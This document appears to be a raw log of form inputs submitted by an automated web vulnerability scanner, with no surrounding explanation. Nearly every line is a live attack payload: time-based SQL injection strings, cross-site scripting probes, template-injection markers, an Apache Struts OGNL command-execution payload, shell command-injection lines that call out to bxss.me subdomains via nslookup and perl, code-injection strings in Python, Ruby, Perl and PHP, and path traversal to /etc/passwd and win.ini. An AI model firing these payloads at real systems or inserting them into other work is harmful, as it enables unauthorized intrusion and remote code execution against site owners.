HfjNUlYZ

555

HfjNUlYZ

1

HfjNUlYZ

555

HfjNUlYZ

555

HfjNUlYZ

555

HfjNUlYZ

bxss.me/t/xss.html?%00

HfjNUlYZ

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

1

HfjNUlYZ

1%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup bxss.me ns1.bxss.me').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

HttP://bxss.me/t/xss.html?%00

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1����%2527%2522

HfjNUlYZ

@@DuP4V

HfjNUlYZ

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

HfjNUlYZ

1'"

HfjNUlYZ

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

HfjNUlYZ

xABc86Ue')) OR 135=(SELECT 135 FROM PG_SLEEP(15))--

HfjNUlYZ

5tF1VLX0') OR 237=(SELECT 237 FROM PG_SLEEP(15))--

HfjNUlYZ

K6BHHBtp' OR 762=(SELECT 762 FROM PG_SLEEP(15))--

HfjNUlYZ

-1)) OR 954=(SELECT 954 FROM PG_SLEEP(15))--

HfjNUlYZ

-5) OR 83=(SELECT 83 FROM PG_SLEEP(15))--

HfjNUlYZ

-5 OR 343=(SELECT 343 FROM PG_SLEEP(15))--

HfjNUlYZ

lqLyKMyG'; waitfor delay '0:0:15' --

HfjNUlYZ

1 waitfor delay '0:0:15' --

HfjNUlYZ

-1); waitfor delay '0:0:15' --

HfjNUlYZ

-1; waitfor delay '0:0:15' --

HfjNUlYZ

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

HfjNUlYZ

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

HfjNUlYZ

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

HfjNUlYZ

if(now()=sysdate(),sleep(15),0)

HfjNUlYZ

-1" OR 3+425-425-1=0+0+0+1 --

HfjNUlYZ

-1' OR 3+812-812-1=0+0+0+1 or 'V1hFnXW0'='

HfjNUlYZ

-1" OR 2+425-425-1=0+0+0+1 --

HfjNUlYZ

-1' OR 3+708-708-1=0+0+0+1 --

HfjNUlYZ

-1' OR 2+812-812-1=0+0+0+1 or 'V1hFnXW0'='

HfjNUlYZ

-1 OR 3+946-946-1=0+0+0+1

HfjNUlYZ

-1' OR 2+708-708-1=0+0+0+1 --

HfjNUlYZ

-1 OR 3+381-381-1=0+0+0+1 --

HfjNUlYZ

-1 OR 2+946-946-1=0+0+0+1

HfjNUlYZ

-1 OR 2+381-381-1=0+0+0+1 --

HfjNUlYZ

VspxzUCL

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1\u003CScRiPt\Q1YR(9574)\u003C/sCripT\u003E

HfjNUlYZ

1

HfjNUlYZ

%31%3C%53%63%52%69%50%74%20%3E%51%31%59%52%289223%29%3C%2F%73%43%72%69%70%54%3E

HfjNUlYZ

1<ScRiPt >Q1YR(9302)

HfjNUlYZ

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

HfjNUlYZ

acx[[${98991*97996}]]xca

HfjNUlYZ

acx__${98991*97996}__::.x

HfjNUlYZ

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

HfjNUlYZ

acx{{98991*97996}}xca

HfjNUlYZ

HfjNUlYZ

acux6315��z1��z2a�bcxuca6315

HfjNUlYZ

<%={{={@{#{${acx}}%>

HfjNUlYZ

19407160

HfjNUlYZ

acu4994＜s1﹥s2ʺs3ʹuca4994

HfjNUlYZ

1

HfjNUlYZ

1

1����%2527%2522

1

@@jU0GZ

1

HfjNUlYZ

1

1'"

1

%48%66%6A%4E%55%6C%59%5A%3C%53%63%52%69%50%74%20%3E%51%31%59%52%289762%29%3C%2F%73%43%72%69%70%54%3E

1

HfjNUlYZ\u003CScRiPt\Q1YR(9186)\u003C/sCripT\u003E

1

HfjNUlYZ'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

HfjNUlYZ

bxss.me

HfjNUlYZ

Http://bxss.me/t/fit.txt

gI48zehD')) OR 144=(SELECT 144 FROM PG_SLEEP(15))--

1

HfjNUlYZ

http://bxss.me/t/fit.txt?.jpg

HfjNUlYZ

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

HfjNUlYZ

1some_inexistent_file_with_long_name.jpg

HfjNUlYZ<ScRiPt >Q1YR(9079)

1

7si8uKh1') OR 519=(SELECT 519 FROM PG_SLEEP(15))--

1

bxss.me

1

P4SYYbJY' OR 817=(SELECT 817 FROM PG_SLEEP(15))--

1

Http://bxss.me/t/fit.txt

1

http://bxss.me/t/fit.txt?.jpg

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

acx__${98991*97996}__::.x

1

1some_inexistent_file_with_long_name.jpg

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

MD7AGtUD'; waitfor delay '0:0:15' --

1

acx{{98991*97996}}xca

1

1 waitfor delay '0:0:15' --

1

acx[[${98991*97996}]]xca

1

1

HfjNUlYZ

/\xfs.bxss.me

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

acux5740��z1��z2a�bcxuca5740

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

HfjNUlYZ

http://xfs.bxss.me

HfjNUlYZ

#{9999008+9999878}

<%={{={@{#{${acx}}%>

1

HfjNUlYZ

//xfs.bxss.me

HfjNUlYZ9739612

1

HfjNUlYZ

/xfs.bxss.me

acu5370＜s1﹥s2ʺs3ʹuca5370

1

HfjNUlYZ

962498

HfjNUlYZ

${9999008+9999878}

HfjNUlYZ

'"

#{9999354+9999075}

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

${9999354+9999075}

1

/\xfs.bxss.me

1

'"

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

http://xfs.bxss.me

1

//xfs.bxss.me

1

/xfs.bxss.me

1

HfjNUlYZ

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

HfjNUlYZ

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitnidaeznravc4c39."+"bxss.me")+'

HfjNUlYZ

;(nslookup hitkscqhogompfb148.bxss.me||perl -e "gethostbyname('hitkscqhogompfb148.bxss.me')")|(nslookup hitkscqhogompfb148.bxss.me||perl -e "gethostbyname('hitkscqhogompfb148.bxss.me')")&(nslookup hitkscqhogompfb148.bxss.me||perl -e "gethostbyname('hitkscqhogompfb148.bxss.me')")

987869

1

HfjNUlYZ

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitnidaeznravc4c39.'+'bxss.me')+"

HfjNUlYZ

|(nslookup hittyvxhfhynm6d4c8.bxss.me||perl -e "gethostbyname('hittyvxhfhynm6d4c8.bxss.me')")

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

HfjNUlYZ

`(nslookup hittwlfkvmroc54730.bxss.me||perl -e "gethostbyname('hittwlfkvmroc54730.bxss.me')")`

HfjNUlYZ

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitnidaeznravc4c39.'+'bxss.me')

HfjNUlYZ

${@print(md5(31337))}\

HfjNUlYZ

1'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],new java.net.URL('http'+'://hitneibvvraal.bxss.me/').openStream().close(),new java.lang.String('

HfjNUlYZ

&(nslookup hitvvudkxicjt2d830.bxss.me||perl -e "gethostbyname('hitvvudkxicjt2d830.bxss.me')")&'\"`0&(nslookup hitvvudkxicjt2d830.bxss.me||perl -e "gethostbyname('hitvvudkxicjt2d830.bxss.me')")&`'

HfjNUlYZ

'.print(md5(31337)).'

if(now()=sysdate(),sleep(15),0)

1

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitoptuotnozqbbb77."+"bxss.me")+'

1

HfjNUlYZ

${@print(md5(31337))}

HfjNUlYZ

$(nslookup hitkqahwnbjkfe5c3a.bxss.me||perl -e "gethostbyname('hitkqahwnbjkfe5c3a.bxss.me')")

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitoptuotnozqbbb77.'+'bxss.me')+"

1

HfjNUlYZ

create

HfjNUlYZ

|echo yfeixu$()\ scfjze\nz^xyu||a #' |echo yfeixu$()\ scfjze\nz^xyu||a #|" |echo yfeixu$()\ scfjze\nz^xyu||a #

HfjNUlYZ

';print(md5(31337));$a='

HfjNUlYZ

create/.

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitoptuotnozqbbb77.'+'bxss.me')

1

HfjNUlYZ

(nslookup hitllytvnhusx3d241.bxss.me||perl -e "gethostbyname('hitllytvnhusx3d241.bxss.me')")

HfjNUlYZ

";print(md5(31337));$a="

HfjNUlYZ

echo jzcldm$()\ pwwpts\nz^xyu||a #' &echo jzcldm$()\ pwwpts\nz^xyu||a #|" &echo jzcldm$()\ pwwpts\nz^xyu||a #

-1" OR 2+107-107-1=0+0+0+1 --

1

HfjNUlYZ

create

HfjNUlYZ

&echo poivwc$()\ jsfale\nz^xyu||a #' &echo poivwc$()\ jsfale\nz^xyu||a #|" &echo poivwc$()\ jsfale\nz^xyu||a #

HfjNUlYZ

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

-1" OR 3+107-107-1=0+0+0+1 --

1

-1' OR 2+738-738-1=0+0+0+1 or 'LhjJtMDf'='

1

HfjNUlYZ

http://hitwkwedujtmt.bxss.me/

-1' OR 3+738-738-1=0+0+0+1 or 'LhjJtMDf'='

1

create

1

HfjNUlYZ

'+'A'.concat(70-3).concat(22*4).concat(118).concat(71).concat(114).concat(72)+(require'socket' Socket.gethostbyname('hittr'+'lgirrcezabe3d.bxss.me.')[3].to_s)+'

-1' OR 2+163-163-1=0+0+0+1 --

1

create/.

1

-1' OR 3+163-163-1=0+0+0+1 --

1

'.print(md5(31337)).'

1

-1 OR 2+66-66-1=0+0+0+1

1

HfjNUlYZ

"+"A".concat(70-3).concat(22*4).concat(116).concat(70).concat(104).concat(85)+(require"socket" Socket.gethostbyname("hitbc"+"jneylrhi883bc.bxss.me.")[3].to_s)+"

create

1

http://hitxoenjbwekm.bxss.me/

1

-1 OR 3+66-66-1=0+0+0+1

1

${@print(md5(31337))}

1

-1 OR 3*2<(0+5+340-340) --

1

${@print(md5(31337))}\

1

-1 OR 3*2>(0+5+340-340) --

1

";print(md5(31337));$a="

1

-1 OR 3+340-340-1=0+0+0+1 --

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

wg0FTWV6

1

HfjNUlYZ

!(()&&!|*|*|

"+"A".concat(70-3).concat(22*4).concat(113).concat(89).concat(107).concat(75)+(require"socket" Socket.gethostbyname("hitqz"+"wmquptsg03d15.bxss.me.")[3].to_s)+"

1

HfjNUlYZ

)

HfjNUlYZ

1

HfjNUlYZ

1

`(nslookup hitxrayjrwdjy33bca.bxss.me||perl -e "gethostbyname('hitxrayjrwdjy33bca.bxss.me')")`

1

HfjNUlYZ

../1

&(nslookup hitnyhlrirldhecad0.bxss.me||perl -e "gethostbyname('hitnyhlrirldhecad0.bxss.me')")&'\"`0&(nslookup hitnyhlrirldhecad0.bxss.me||perl -e "gethostbyname('hitnyhlrirldhecad0.bxss.me')")&`'

1

HfjNUlYZ

../../../../../../../../../../../../../../etc/passwd

!(()&&!|*|*|

1

|(nslookup hitcakwmxjpned1264.bxss.me||perl -e "gethostbyname('hitcakwmxjpned1264.bxss.me')")

1

HfjNUlYZ

1

HfjNUlYZ

../../../../../../../../../../../../../../windows/win.ini

^(#$!@#$)(()))******

1

HfjNUlYZ

".gethostbyname(lc("hitrs"."ayssxctu6a8a1.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(66).chr(102).chr(90)."

$(nslookup hitqjvspkokpf4665d.bxss.me||perl -e "gethostbyname('hitqjvspkokpf4665d.bxss.me')")

1

)

1

|echo fgcjlw$()\ lqofgw\nz^xyu||a #' |echo fgcjlw$()\ lqofgw\nz^xyu||a #|" |echo fgcjlw$()\ lqofgw\nz^xyu||a #

1

HfjNUlYZ

1

HfjNUlYZ

'.gethostbyname(lc('hitwd'.'jaqnuqiwe6a6d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(79).chr(117).chr(69).'

(nslookup hitjijgyocypfdee3b.bxss.me||perl -e "gethostbyname('hitjijgyocypfdee3b.bxss.me')")

1

HfjNUlYZ

1

echo plvcee$()\ yqmmkk\nz^xyu||a #' &echo plvcee$()\ yqmmkk\nz^xyu||a #|" &echo plvcee$()\ yqmmkk\nz^xyu||a #

1

../HfjNUlYZ

1

&echo cryrub$()\ jvkipe\nz^xyu||a #' &echo cryrub$()\ jvkipe\nz^xyu||a #|" &echo cryrub$()\ jvkipe\nz^xyu||a #

1

".gethostbyname(lc("hitrf"."rvjpmbjk48e52.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(67).chr(103).chr(74)."

1

../../../../../../../../../../../../../../windows/win.ini

1

HfjNUlYZ

1

HfjNUlYZ

1&n908813=v959685

'.gethostbyname(lc('hitxk'.'ysptakla3d353.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(84).chr(100).chr(90).'

1

1

../../../../../../../../../../../../../../etc/passwd

1

HfjNUlYZ&n957953=v956502

1

HfjNUlYZ

1

d1BzdklaaXE=

1

HfjNUlYZ

VCpUtlFP

QCrIASBx

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

"+response.write(9865272*9074532)+"

HfjNUlYZ

response.write(9865272*9074532)

HfjNUlYZ

'+response.write(9865272*9074532)+'

"+response.write(9086117*9726089)+"

1

response.write(9086117*9726089)

1

'+response.write(9086117*9726089)+'

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1